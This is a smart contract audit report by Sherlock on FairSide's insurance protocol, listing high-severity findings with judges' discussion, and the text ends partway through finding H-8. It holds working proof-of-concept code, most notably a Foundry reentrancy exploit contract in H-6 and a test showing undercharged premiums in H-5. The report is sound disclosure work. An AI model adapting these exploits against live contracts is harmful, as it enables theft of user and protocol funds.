SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Contest type:	Private Best Efforts
Prepared for:	FairSide
Prepared by:	Sherlock
Lead Security Expert:	0xdeadbeef
Dates Audited:	April 18 - May 2, 2024
Prepared on:	June 18, 2024

Introduction

FairSide is an cover protocol providing an insurance alternative to web3 users. Our flagship product is designed to offer protection to personal wallets against a number of threats including wallet draining via phishing, man in the middle, SIM swapping and many others. FairSide is a next-generation cover primitive powered by its native crypto token FSD.

Scope

Repository: FairSide-Organization/FairsideContractsV2

Branch: main

Commit: 8aab62028adc75450deffefd6afde81f9095eb1a

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
1	11

Security experts who found valid issues

0xdeadbeef	ck
giraffe	ge6a

Issue H-1: Malicious actor can steal funds using `dex` and `data` arguments in `swapFromDexAndBond`

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/1

The protocol has acknowledged this issue.

Found by

0xdeadbeef, giraffe

Summary

Attacker can supply arbitrary `dex` and `data` arguments to `swapFromDexAndBond` that will steal funds of zapper users and the zapper itself.

Vulnerability Detail

`swapFromDexAndBond` allows the user to provide a user defined `dex` address and calldata `data`: https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/zap/Zapper.sol#L79

```
    function swapFromDexAndBond(
        address tokenAddr,
        uint256 amount,
        address dex,
        uint256 tokenMinimum,
        bytes memory data
    ) public returns (bool) {
------
        dex.functionCall(data);
------
    }
```

Therefore a malicious actor can make any arbitrary call and:

1. Steal funds other user funds by calling `transferFrom` on tokens approved to the zapper. Zapper requires users to approve ERC20 tokens to it before calling its swap functions. (High likelihood, High impact)
2. Steal dormant funds in zapper by calling `approve` or `transfer` with their address on tokens such as `WETH`. (Low likelihood, Low impact)

Impact

Theft of funds

Code Snippet

Tool used

Manual Review

Recommendation

Whitelist allowed dexs.

Discussion

nevillehuang

Likely valid high severity, although contigent on users supplying max/over supplying approvals

gstoyanovbg

@nevillehuang Doesn't this issue depends on user mistake ?

nevillehuang

@gstoyanovbg Sorry for my unclear comment. @0xdeadbeef0x As far as I understand, an external user approval can be hijacked by calling `swapFromDexAndBond`, so wouldn't it be high severity? What would be the user mistake here?

gstoyanovbg

The good practice is to approve the exact amount for the swap and then call the corresponding function in the same transaction. To steal the approved amount, either a frontrun on the swap must be possible or the contract must be approved for a larger amount than necessary. Both of them could be considered as user mistakes.

Issue H-2: Uniswap and 1inch swap function in `Zapper` send an incorrect `tokenMinimum` to `FSD.bondTo`

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/6

The protocol has acknowledged this issue.

Found by

0xdeadbeef, ck, giraffe

Summary

The `swapFrom1inchUnoswapAndBond` and `swapFromUniswapAndBond` function in zapper incorrectly send the output WETH amount as the `tokenMinimum` in `FSD.bondTo` when it should be the minimum amount of FSD tokens to mint

Vulnerability Detail

Notice the following `swapFrom1inchUnoswapAndBond` and `swapFromUniswapAndBond` functions: https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/zap/Zapper.sol#L66

```
    function swapFromUniswapAndBond(
------------
    ) public returns (bool) {
------------
        uint256 amountIn =
↪   ISwapRouter(UNISWAP_V3_ROUTER).exactInputSingle(params);
------------
        FSD.bondTo(to, amountIn);
------------
    }


    function swapFrom1inchUnoswapAndBond(
------------
    ) public returns (bool) {
        uint256 swappedAmount =
↪   IOneInchRouter(oneInchDexRouter).unoswapTo(address(this), srcToken, amount,
↪   minReturn, pools);
------------
        FSD.bondTo(to, swappedAmount);
------------
```

SHERLOCK

```
    }
```

Notice how both take the output amount and pass it along to `FDS.bondTo` as the second parameter.

However, `FDS.bondTo` expects to receive the minimum amount of FSD tokens to mint (slippage protection):

```
     * @param tokenMinimum The minimum amount of tokens to be minted
-------------
    function bondTo(address to, uint256 tokenMinimum) external payable override
↪   onlyValidPhase(IFSD.Phase.Final) returns (uint256) {
-------------
        return _bondInternal(to, tokenMinimum, true);
    }
```

Impact

Impact is dependent of FSD price and bond amount:

1. If bonding amount is smaller then minted FSD - user could have lost tokens due to slippage (can be abused by MEV bots)
2. If bonding amount is larger then minted FSD - function will revert

Code Snippet

Tool used

Manual Review

Recommendation

Consider allowing the user to supply the FSD slippage to the swap function. Then send the user supplied slippage to the `bondTo` function

Discussion

nevillehuang

Likely valid high severity, worse case scenario user can suffer slippage losses

gstoyanovbg

@nevillehuang FSD.bondTo will always revert because there is no ETH amount passed. So the users can't loss funds.

> Breaks core contract functionality, rendering the contract useless or leading to loss of funds.

I believe that this rule is not applicable because there is no attack here, the function will always revert since the deployment. This is why i reported most of the Zapper related issues as Low.

nevillehuang

@gstoyanovbg I think you meant because of the issue highlighted in #5, this issue wont occur. However, I don't believe this is how we should judge issues here since after fixing #5, this issue would arise.

See relevant comment made by previous HOJ here

gstoyanovbg

@nevillehuang The two problems are connected. If you know about one, there's no way you wouldn't fix the other. It's about one line of code that performs a specific function. Obviously, the developer didn't know how the function itself works and what parameters it accepts.

nevillehuang

@gstoyanovbg That was what I thought as well, until previous head of judging corrected my understanding as per the following link. I implore you to read the discussion

https://github.com/sherlock-audit/2023-12-jojo-exchange-update-judging/issues/30#issuecomment-1936076314

@0xdeadbeef0x @iamckn I don't think scenario 1 is possible given slippages is checked within uniswap and 1inch router by `amountOutMin` and `minReturn` respectively. This issue seems low severity given other DEXes are available to be used for swaps and swaps can be executed externally, especially when the correct input amount is passed into `swapFromDexAndBond`

iamckn

@nevillehuang The issue isn't about the dexes. It is that `FSD.bondTo(to, amountIn);` and `FSD.bondTo(to, swappedAmount)` are using the wrong input value. `amountIn` and `swappedAmount` are the amounts of ETH returned from the dex swap.

The input to `FSD.bondTo` should be the minimum amount of FSD the user expects back but what is wrongfully being used is the amount of ETH to be used for bonding.

Say I want to mint at least 100 FSD and I am estimating it will const 10 ETH to mint the 100 FSD. The `FSD.bondTo` will use the `10 ETH` as the expected amount of FSD which is wrong. During times of high slippage even if I get minted 9 FSD, the transaction will go through and my slippage won't be respected.

nevillehuang

@iamckn `swappedAmount` is based on slippage inputted so wouldn't the amount swapped out always be checked for example in uniswapv3 router as seen here before being inputted for bonding?

iamckn

@nevillehuang `swappedAmount` is the amount of ETH returned after the swap.

The issue is not about the swap. The issue is about the call that follows to bond - `FSD.bondTo(to, swappedAmount);`. The input value to that function should not be `swappedAmount`. As I said `swappedAmount` is the amount of ETH returned from the previous swap. Instead the value that should be supplied to `FSD.bondTo` should be the `FSD` amount expected not the amount of ETH being supplied. See my previously comment.

nevillehuang

@iamckn hmm Im still unsure what you are pointing to. If a user inputs slippage to swap to ETH before bond, the external dex such as uniswap and 1inch checks the minimum amount before that returned amount is inputted into bondTo. Am i missing something here?

iamckn

@nevillehuang Look at the `FSD.bondTo` function. The second parameter is not supposed to be the amount of ETH you received form the swap. That's what I am trying to say. It should be the amount of FSD expected back from minting.

nevillehuang

@iamckn @0xdeadbeef0x I understand now, seems like the MEV is within the FSD portion to be minted per here. The issues are not really explicit in how that could happen but my guess is front-running unbonding/bonding to affect calculations here?

iamckn

@nevillehuang Yes, this is an issue during periods of regular bonding activity. The `FSD.bondTo` is designed to sort of provide slippage protection by specifying the minimum expected FSD.

Issue H-3: User can bypass copay and get 100% coverage

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/8

The protocol has acknowledged this issue.

Found by

0xdeadbeef, giraffe

Summary

Users can open a "Cost Share Request" (CSR) using the `FairSideClaim` contract's `openPWPRequest`. The function checks that the account has purchased enough cost share benefits for the claim amount requested. However - the cross share benefit is checked against claim amount after taking a 10 percent haircut. Therefore a user can request `availableCostShareBenefits * 10/9` to pass the check and get 100 percent coverage.

Vulnerability Detail

The following are the relevant snippets for the issue:

- Cost share requests are open using the `openPWPRequest` function.
- `requestPayout` is returned after haircutting 10% of `claimAmount` in `validateCSR`
- The `CostShareRequest` takes the returned `requestPayout` as the `claimAmount` (what will be paid)

```
    uint256 private constant NON_USA = 0.9 ether;

    function openPWPRequest(uint256 claimAmount, uint256 coverId, bool inETH)
↪   external payable onlyCoverIdOwner(coverId) {
---------------
        (uint256 requestPayout, uint256 availableCostShareBenefits) =
↪   validateCSR(claimAmount, coverId);
---------------
        createCostshareRequest(requestPayout, claimAmount, 0, coverId);
    }

    function validateCSR(uint256 claimAmount, uint256 coverId) private view
↪   returns (uint256, uint256) {
        Membership memory account = fairSideNetwork.getMembership(coverId);
---------------
```

SHERLOCK

```
        // 90% of the full claim is paid out as 10% in the USA
        uint256 requestPayout = claimAmount.mul(NON_USA);

        if (account.availableCostShareBenefits < requestPayout) {
            revert FSClaims_CostRequestExceedsAvailableCostShareBenefits();
        }

        return (requestPayout, account.availableCostShareBenefits);
    }

   function createCostshareRequest(uint256 requestPayout, uint256 claimAmount,
 ↪  uint256 _csrType, uint256 coverId) private {
---------------
        CostShareRequest memory csr = CostShareRequest(
            uint80(block.timestamp),
            msg.sender,
            coverId,
            _csrType,
            requestPayout,
            bytes32(0),
            ClaimStatus.IN_PROGRESS
        );
        costShareRequests[nextClaimId] = csr;
---------------

    }
```

As seen above - `requestPayout` is 90% of the claimAmount:

```
uint256 requestPayout = claimAmount.mul(NON_USA);
```

Then the `requestPayout` is checked against the members cost share benefits:

```
if (account.availableCostShareBenefits < requestPayout) {
    revert FSClaims_CostRequestExceedsAvailableCostShareBenefits();
}
```

Therefore if the user passes a `claimAmount` that after 10% haircut will be equal to `availableCostShareBenefits` and pass the if statement - then `requestPayout` will be equal to the entire cost share benefit. User will receive 100% coverage.

The amount of `claimAmount` needed is `availableCostShareBenefits * 10/9`

For example if user purchased `90 ETH` cost share benefits: `90 ether * 10/9 = 100 ether`.

Supplying `100 ether` as `claimAmount` will bypass the user copay.

Impact

Loss of funds. 100% coverage instead of expected 90%

Code Snippet

https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideClaims.sol#L386

Tool used

Manual Review

Recommendation

Consider changing the if statement to check against `claimAmount` instead:

```
if (account.availableCostShareBenefits < claimAmount) {
    revert FSClaims_CostRequestExceedsAvailableCostShareBenefits();
}
```

Discussion

nevillehuang

Likely valid high severity, allows user to claim more than desired CSB than intended, allowing them to profit. Who is in the loss here?

0xdeadbeef0x

@nevillehuang adding comment from discord:

Bonders are on the loss. 10% higher coverage is paid from the FSD reserve using `payClaim`

Issue H-4: Free CSB and bypass of maximum CSB per wallet by toping up/renewing while opening a cost share request

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/9

Found by

0xdeadbeef, ck, ge6a

Summary

Opening a cost share request at `FairSideClaims` automatically deducts the claim amount from the membership cost share benefits. If the request is denied - the membership cost share benefits are restored.

A user can take advantage of the above behavior to:

1. Get free CSB
2. Get more cover for a wallet then allowed (`100 ether`).

Vulnerability Detail

When opening a cost share request - `setAvailableBenefits` is called to decrease members cost share benefits: https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideClaims.sol#L274

```
    function createCostshareRequest(uint256 requestPayout, uint256 claimAmount,
↪  uint256 _csrType, uint256 coverId) private {
-------------
        setAvailableBenefits(claimAmount, msg.sender, coverId, false);
-------------
    }

    function setAvailableBenefits(uint256 requestAmount, address account,
↪  uint256 coverId, bool increase) internal {
        if (increase) {
            fairSideNetwork.increaseOrDecreaseCSB(requestAmount, account,
↪  coverId, true);
        } else {
            fairSideNetwork.increaseOrDecreaseCSB(requestAmount, account,
↪  coverId, false);
        }
    }
```

`fairSideNetwork.increaseOrDecreaseCSB`: https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideNetwork.sol#L709

```
    function increaseOrDecreaseCSB(
        uint256 amount,
        address account,
        uint256 coverId,
        bool increase
    ) external override onlyFairSideClaims {
-------------
        if (increase) {
            membershipId.availableCostShareBenefits += amount;
        } else {
            membershipId.availableCostShareBenefits -= amount;
        }
    }
```

Similarly when a claim is denied, the cost share benefits are restored:

```
   function seedPWPVerdict(uint256 _claimId, Action action, uint256
↪   _csrTypeCore, bytes calldata reason) external onlyGuardian {
-------------
        if (action == Action.DENY_CLAIM) {
-------------
            setAvailableBenefits(csr.claimAmount, csr.initiator, csr.coverId,
↪   true);
-------------
    }
```

Bypass maximum CSB per wallet:

`FairSideNetwork` limits a covered wallet to cost share benefit of `100 ether`.

```
function _getMaximumBenefitPerUser() internal pure returns (uint256) {
    return 100 ether;
}
```

The limit is checked when purchasing, renewing and toping up memberships:

```
    function _topupMembership(
        uint256 coverId,
        uint256 costShareBenefit,
        TokenType tokenType
    ) private {
```

```
--------------
        uint256 userMembershipCSB = membershipId.availableCostShareBenefits +
↪   costShareBenefit;

        if (userMembershipCSB > _getMaximumBenefitPerUser()) {
            revert FSNetwork_ExceedsCostShareBenefitLimitPerAccount();
        }
--------------
        membershipId.availableCostShareBenefits = userMembershipCSB;
--------------
    }
```

Therefore a member can:

1. Purchase `100 ETH` cost share benefits
2. Create a cost share request of all cost share benefits (this will deduct them from the membership
3. Top up `100 ETH` cost share benefits.
4. Cost share request is denied - all previous cost share benefits restored
5. Go to step 2

Free CSB

Cost share requests can be opened even after a membership has expired (60 days after). Therefore a user can:

1. Purchase a membership for `100 ETH` CSB.
2. Wait 1 year
3. Open a cost share request for `100 ETH`
4. Renew membership with lowest amount (`1 ETH`)
5. Cost share request denied and `100 ETH` is restored to membership
6. Member got a free `100 ETH` cover

Impact

- Member can get free coverage (loss of funds)
- Member can buy unlimited cost share benefits - in case of approved request, 1 request can drain a large portion of the bonding curve reserve

- Since cost share benefits are virtual and need to be backed by the bonding curve, owning a large amount of them and opening large requests can prevent unbonding
- Break a core invariant of the system (limiting memberships to 100 ether / payment for coverage)

Code Snippet

Tool used

Manual Review

Recommendation

Consider disabling top-ups and renewals for cover ids that have open requests

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/FairSide-Organization/FairsideContractsV2/pull/483

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-5: Wrong calculation in the cover cost during membership top up.

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/14

Found by

ck, giraffe

Summary

Users get undercharged when toping up membership due to faulty calculation of the cover cost.

Vulnerability Detail

When a user is topping up their membership, a prorated cost for the additional cover is calculated based on the remaining days.

This is done in the function `FairSideNetwork.sol::calculateCoverCost`

```
 *  @dev Calculates the prorated cover cost of a given cover
 * @return cover cost (uint)
 */
function calculateCoverCost(uint256 costShareBenefit, uint256 duration) internal
↪  view returns (uint256) {
    uint256 coverCost = getCoverCost();
    uint256 fee = costShareBenefit.mul(coverCost);
    if (block.timestamp > duration) {
        return fee;
    } else {
        uint256 dailycost = coverCost / MEMBERSHIP_DURATION;
        uint256 daysRemaining = (duration - block.timestamp) / 86400;
        if (daysRemaining == 0) {
            return fee;
        }
        uint256 rate = daysRemaining * dailycost;
        uint256 proratedCostETH = costShareBenefit.mul(rate);
        return (proratedCostETH);
    }
}
```

The problem is that `dailycost` is calculated in seconds while `daysRemaining` is calculated in days.

This discrepancy results in the rate being much lower and the user is undercharged when topping up membership.

- Let's take a user who purchases `50 ETH` of protection. They will get charged `0.0195 * 50e18 = 975000000000000000` for a full year
- If halfway through the year, they want to top up another `50 ETH`, they should be charged approximately half what it would cost for 1 year.
- Instead due to the faulty calculation, they will be charged much less as can be seen in the POC below:

```
import { assert, expect } from "chai";
import { ethers } from "hardhat";
import { ethToWei, weiToEth, toUnits, toWholeUnits, increaseTime,
↪  createRandomWalletAddress, getEthBalance } from "../helpers/base";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { FSD, FairSideNetwork } from "../../typechain-types";
import { FSDPhase } from "../Interfaces/enums";
import fsdContractsDeployer from "../helpers/test.deployer";

describe("FaultyTopup", () => {
    // Accounts
    let owner: SignerWithAddress;
    let random: SignerWithAddress;
    let userAccount3: SignerWithAddress;
    let userAccount1: SignerWithAddress;

    let fsd: FSD;
    let coverID: number;

    let fairSideNetwork: FairSideNetwork;
    let timelockAccount: SignerWithAddress;
    let accounts: any[];

    const coverAddress = "0x41427a1488a16a150959347d05c33e54d4d8467e";

    //purchase membership
    before(async () => {
        accounts = await ethers.getSigners();
        [owner, random, userAccount3, userAccount1] = await ethers.getSigners();

        ({ fsd, fairSideNetwork, timelockAccount } = await
↪  fsdContractsDeployer(owner));

        await fsd.updateCurrentPhase(FSDPhase.Final);

        const balance = await ethers.provider.getBalance(fsd.address);
    });

    // context("Integration testing full user map", async () => {
    it("should purchase PWP membership cover with ETH ", async () => {
        const [joe, tom] = accounts.slice(17, 19);

        // add funds to capital pool by bonding FSD to curve
        await fsd.connect(joe).bond(1, {
            value: ethToWei("10000"),
        });

        //purchase pwp cover
        const cost = (await
↪   fairSideNetwork.connect(tom).estimateCost(ethToWei("50"), 0)) as any;
        console.log("50 ETH for 365 days:", cost);
        await fairSideNetwork.connect(tom).purchaseMembership(ethToWei("50"),
↪   coverAddress, { value: ethToWei("1.5") });

        let coverId = 1;
        let membership = await fairSideNetwork.getMembership(coverId);

        //Increase wait time by half an year.
        await increaseTime(182.5 * 86400);
        const proratedCost = (await
↪   fairSideNetwork.connect(tom).estimateCost(ethToWei("50"),
↪   membership.duration)) as any;
        console.log("50 ETH for 182.5 days:",proratedCost);

        await expect(fairSideNetwork.connect(tom).topupMembership(coverId,
↪   ethToWei("50"), { value: ethToWei("1.5") })).not.be.reverted;

    });
});
```

- Place the poc in a file called `faultyTopup.test.ts` in the `test/network` folder and run it:

```
npx hardhat test ./test/network/faultyTopup.test.ts

  FaultyTopup
50 ETH for 365 days: BigNumber { value: "975000000000000000" }
50 ETH for 182.5 days: BigNumber { value: "5626902581300" }
```

Now if we fix the issue by modifying the calculation in `FairSideNetwork.sol::calculateCoverCost`

```
    function calculateCoverCost(uint256 costShareBenefit, uint256 duration)
 ↪  internal view returns (uint256) {
        uint256 coverCost = getCoverCost();
        uint256 fee = costShareBenefit.mul(coverCost);
        if (block.timestamp > duration) {
            return fee;
        } else {
-            uint256 dailycost = coverCost / MEMBERSHIP_DURATION;
+            uint256 dailycost = (coverCost * 86400) / MEMBERSHIP_DURATION;
            uint256 daysRemaining = (duration - block.timestamp) / 86400;
            if (daysRemaining == 0) {
                return fee;
            }
            uint256 rate = daysRemaining * dailycost;
            uint256 proratedCostETH = costShareBenefit.mul(rate);
            return (proratedCostETH);
        }
    }
```

Then rerun the POC, we get:

```
50 ETH for 365 days: BigNumber { value: "9750000000000000000" }
50 ETH for 182.5 days: BigNumber { value: "4861643835616438600" }
```

This is now accurate and `50 ETH` for half a year is approximately half what it would be for 1 year.

Impact

Loss of funds for the protocol and other users/stakers as premium top ups are undercharged.

Code Snippet

https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideNetwork.sol#L870-L888

Tool used

Manual Review

Recommendation

Fix the issue by modifying the calculation in
`FairSideNetwork.sol::calculateCoverCost`

```
    function calculateCoverCost(uint256 costShareBenefit, uint256 duration)
 ↪  internal view returns (uint256) {
        uint256 coverCost = getCoverCost();
        uint256 fee = costShareBenefit.mul(coverCost);
        if (block.timestamp > duration) {
            return fee;
        } else {
-             uint256 dailycost = coverCost / MEMBERSHIP_DURATION;
+             uint256 dailycost = (coverCost * 86400) / MEMBERSHIP_DURATION;
            uint256 daysRemaining = (duration - block.timestamp) / 86400;
            if (daysRemaining == 0) {
                return fee;
            }
            uint256 rate = daysRemaining * dailycost;
            uint256 proratedCostETH = costShareBenefit.mul(rate);
            return (proratedCostETH);
        }
    }
```

Discussion

nevillehuang

Likely valid high severity, protocol loses fees from ALL users due to incorrect computation

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/FairSide-Organization/FairsideContractsV2/pull/479

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-6: Reentrancy in `distributePremium` allows attacker to bypass system limits, invariants and manipulate FSD token price

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/17

Found by

0xdeadbeef, ge6a, giraffe

Summary

`distributePremium` is used when purchasing/renewing/toping up memberships. It has a mechanism to refund excess ETH send that is sent for the fee.

The refund process allows the attacker to re-enter into the FairSideNetwork before updating important variables such as `userMembership[primaryAddress]` and `totalPWPCSB`.

The above variables are updated only after the refund - therefore by reentering multiple times critical limit checks are bypassed.

Check the IMPACT section for more details on the wide range of impacts.

Vulnerability Detail

When purchasing/renewing or topping up memberships - a membership fee is paid ***BEFORE*** creation of the membership and before incrementing the `totalPWPCSB`.

```
    function _purchaseMembership(
        address primaryAddress,
        uint256 costShareBenefit,
        address coverAddress,
        TokenType tokenType
    ) private {
        validateCapitalPool(costShareBenefit);
        //array counts from 0
        if ((userMembership[primaryAddress].length + 1) > maxCoverWallet) {
            revert FSNetwork_MaxMembershipReached();
        }
------------------
        distributePremium(coverCostETH, tokenType);
        unchecked {
            membershipCount += 1;
        }
```

SHERLOCK

```
        uint256 coverId = membershipCount;
        Membership storage membershipId = membership[coverId];
------------------
        //update storages
        setCoverCounts(costShareBenefit);
------------------
        userMembership[primaryAddress].push(coverId);
------------------
}

    function setCoverCounts(uint256 costShareBenefit) internal {
        totalPWPCSB += costShareBenefit;
    }

    function distributePremium(uint256 membershipFeeETH, TokenType tokenType)
 ↪  internal {
------------------
                // send back excess ETH
                if (msg.value > membershipFeeETH) {
                    payable(msg.sender).sendValue(msg.value - membershipFeeETH);
                }
------------------
    }
```

Notice that `distributePremium` is called before `setCoverCounts` and before `userMembership[primaryAddress].push(coverId);`.

`distributePremium` refunds excess ETH to the user.
https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideNetwork.sol#L548

The user can call `purchaseMembership` again when receiving the refund and before the above variables are set.

In this state the total amount of memberships a user has and the total cost share benefits are not updated so the user can bypass the total amount of membership check and `validateCapitalPool` checks regarding `totalPWPCSB`:

```
    function validateCapitalPool(uint256 costShareBenefit) private view {
--------------
        if (getFShareRatio() < 1 ether) {
            revert FSNetwork_InsufficientCapitalToCoverMembership();
        }

        if(totalPWPCSB + costShareBenefit > getMaxTotalCostShareBenefits()) {
            revert FSNetwork_ExceedsMaxCostShareBenefitLimit();
        }
    }

    function getFShareRatio() internal view returns (uint256) {
        // FSHARERatio = Capital Pool / FSHARE (scaled by 1e18)
        uint256 fShareRatio = getCapitalPool().div(getNetworkFshare());
        return fShareRatio;
    }

    function getNetworkFshare() internal view returns (uint256) {
        return riskBasedCapital + lossRatio.mul(totalPWPCSB.mul(PWPCoverCost));
    }
```

Notice that `FSHARE` and the FSD price are also impacted by not updating `totalPWPCSB.` :

```
    function getFSDPrice() public view override returns (uint256) {
        // FSHARE = Total Available Cost Share Benefits / Gearing Factor
        uint256 fShare = getTokenFShare();
        uint256 capitalPool = getCapitalPool();

        return FairSideFormula2.f(capitalPool, fShare);
    }

    function getTokenFShare() internal view returns (uint256) {
        uint256 fShare = totalPWPCSB.mul(100) / fsd.gearingFactor();
--------------
        return fShare;
    }
```

Additionally, this impacts the FSD contract calculation of `calculateDeltaOfFSD`.

Impact

Impacts include:

1. User can bypass the limit to the number of wallets he can cover (2). He can create as much wallets as desired.
2. The `FSHARE% < 100%` check is bypassed. This puts the system in an insolvency risk
3. The maximum CSB limit is bypassed which can lead to an insolvency risk.
4. The `FSD` token price will not increase with relation to total CSB (`FSHARE`). This means that during the reentrancy a lower amount of FSD tokens are minted. Less fess can be paid in FSD. The attacker can also take advantage of the disproportion of the total ETH reserver total CSB calculation in

`calculateDeltaOfFSD`.

Code Snippet

The following POC purchases 40 memberships for the same wallet/owner pair. It demonstrated:

1. The amount of CSB added per is 4000 ETH. This shows the 2 wallet per user limit is bypassed (amount of wallets of 100 ETH)
2. Much more CSB was purchased (4000 ETH) the prevent in FSD reserve (2578 ETH).

Add the following test to `test/.foundry-tests/poc_reentrancy.t.sol`:

```
pragma solidity ^0.8.3;

import "forge-std/Test.sol";
import "contracts/interfaces/network/IFairSideNetwork.sol";
import "contracts/network/FairSideNetwork.sol";
import "contracts/token/FSD.sol";

contract MyTest is Test {
    FairSideNetwork fsn =
↪   FairSideNetwork(0x564Db7a11653228164FD03BcA60465270E67b3d7);
    FSD fsd = FSD(0x76a999d5F7EFDE0a300e710e6f52Fb0A4b61aD58);

    uint256 reenterCounter = 1;
    uint256 totalCSBBefore = fsn.totalPWPCSB();

    function test_purchase_reenter() external {
        // initially bond to put some funds into FSD
        fsd.bond{value:3000 ether}(0);

        // Perform reentrancy of 40 times, purchasing 4000 ETH worth of cover.
        fsn.purchaseMembership{value: 2 ether}(100 ether, address(this));
        uint256 totalCSBAfter = fsn.totalPWPCSB();

        // POC: Owner was able to purchase 40 covers for the same wallet, 100
↪   ETH CSB each. (4000 ether)
        // POC: FSD balance is 2578 ETH which much lower then 4000 ETH CSB.
↪   Should not have been possibile due to FSHARE% check
        assertEq(totalCSBAfter - totalCSBBefore, 100 ether * 40);
        assertEq(address(fsd).balance, 2578 ether);
    }

    receive() payable external {
        if(reenterCounter != 40){
            // POC: Validate that totalPWPCSB does not change between
↪   reentrancies
            assertEq(totalCSBBefore, fsn.totalPWPCSB());

            // increment reentrency counter and reenter
            reenterCounter += 1;
            fsn.purchaseMembership{value: 2 ether}(100 ether, address(this));
        }
    }
}
```

Change the following address to you localnet addresses:

```
FairSideNetwork fsn =
↪   FairSideNetwork(0x564Db7a11653228164FD03BcA60465270E67b3d7);
FSD fsd = FSD(0x76a999d5F7EFDE0a300e710e6f52Fb0A4b61aD58);
```

Run the test:

```
forge test --rpc-url="http://127.0.0.1:8545" --match-test
↪   "test_purchase_reenter" -vvvv
```

Tool used

Manual Review

Recommendation

Either:

1. Revert the TX if `msg.value` is not exactly `membershipFeeETH`.
2. Add a reentrancy guard in all purchase, renew and topup functions.

Discussion

nevillehuang

Likely high severity based on impact described in #17, impacts FSHARE ratio and FSD pricing

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/FairSide-Organization/FairsideContractsV2/pull/481

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-7: `getTokenFShare` will never increase past floor price

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/21

The protocol has acknowledged this issue.

Found by

0xdeadbeef, giraffe

Summary

in `FairShareNetwork` - `getTokenFShare()` is used to get the FSHARE to calculate the `FSD` token spot price `getFSDPrice`. The spot price is used to calculate the amount the user needs to pay when pay for membership cover and requesting claims.

However the `getTokenFShare` calculation of total cost share benefits is incorrect which leads the FSHARE to always be the floor price `2500 ETH`.

Vulnerability Detail

The formula for calculating the fshare is as follows: https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/network/FairSideNetwork.sol#L929

```
function getTokenFShare() internal view returns (uint256) {
    uint256 fShare = totalPWPCSB.mul(100) / fsd.gearingFactor();
    // Floor of 2500 ETH
    if (fShare < getFshareFloor()) fShare = getFshareFloor();
    return fShare;
}
```

Notice that `totalPWPCSB.mul(100)` is using `ABDK` math. The result of `totalPWPCSB.mul(100)` actually divides `totalPWPCSB` by `1e16` instead. This is because `mul` multiplies `totalPWPCSB` and `100` then scales down `1e18`.

Even if the maximum amount of coverage (100 ETH) is purchased by 1 billion users, the resulted `fshare` is much under the floor value (`2500 ether`): `uint256(1_000_000_000 * 100 ether).mul(100) = 10000000000000` (0.00001 ether)

Impact

Fshare will never represent a price on the curve as its supposed to. Incorrect price will be set for purchasing cover and requesting coverage

Code Snippet

Tool used

Manual Review

Recommendation

if using `ABDK` math use `totalPWPCSB.mul(100 ether)` instead. However, no need to use `ABDK` math here and can just multiply by 100 (`totalPWPCSB * 100`) like in https://github.com/sherlock-audit/2024-04-fairside/blob/main/FairsideContractsV2/contracts/token/ABC.sol#L57C54-L57C60

Discussion

nevillehuang

Likely valid high severity based on impact described in #21, impacts FSHARE ratio and FSD pricing

Issue H-8: Membership top up on the last day of the duration will result in being charged the full fee for a year.

Source: https://github.com/sherlock-audit/2024-04-fairside-judging/issues/25

Found by

0xdeadbeef, ck, giraffe

Summary

Membership top up is allowed until the final second of the duration. If the top up is done on the final day, the full fee for one year is charged.

Vulnerability Detail

Topping up membership is allowed until the final second of the duration:

```
function _topupMembership(
    uint256 coverId,
    uint256 costShareBenefit,
    TokenType tokenType
) private {
    validateCapitalPool(costShareBenefit);
    Membership storage membershipId = membership[coverId];


    if (block.timestamp >= membershipId.duration) {
        revert FSNetwork_ExpiredMembershipInGrace();
    }


    uint256 userMembershipCSB = membershipId.availableCostShareBenefits +
↪   costShareBenefit;


    if (userMembershipCSB > _getMaximumBenefitPerUser()) {
        revert FSNetwork_ExceedsCostShareBenefitLimitPerAccount();
    }


    uint256 coverCostETH = calculateCoverCost(costShareBenefit,
↪   membershipId.duration);
    distributePremium(coverCostETH, tokenType);
```

On the final day due to a rounding down issue in `calculateCoverCost`, the user will be charged the full fee for one year instead of a prorated cost for the remaining duration:

```
 *  @dev Calculates the prorated cover cost of a given cover
 * @return cover cost (uint)
 */
function calculateCoverCost(uint256 costShareBenefit, uint256 duration) internal
↪  view returns (uint256) {
    uint256 coverCost = getCoverCost();
    uint256 fee = costShareBenefit.mul(coverCost);
    if (block.timestamp > duration) {
        return fee;
    } else {
        uint256 dailycost = coverCost / MEMBERSHIP_DURATION;
        uint256 daysRemaining = (duration - block.timestamp) / 86400;
        if (daysRemaining == 0) {
            return fee;
        }
        uint256 rate = daysRemaining * dailycost;
        uint256 proratedCostETH = costShareBenefit.mul(rate);
        return (proratedCostETH);
    }
```

The `daysRemaining` value will be rounded down to `0` on the final day resulting in being charged the full fee for a year.

```
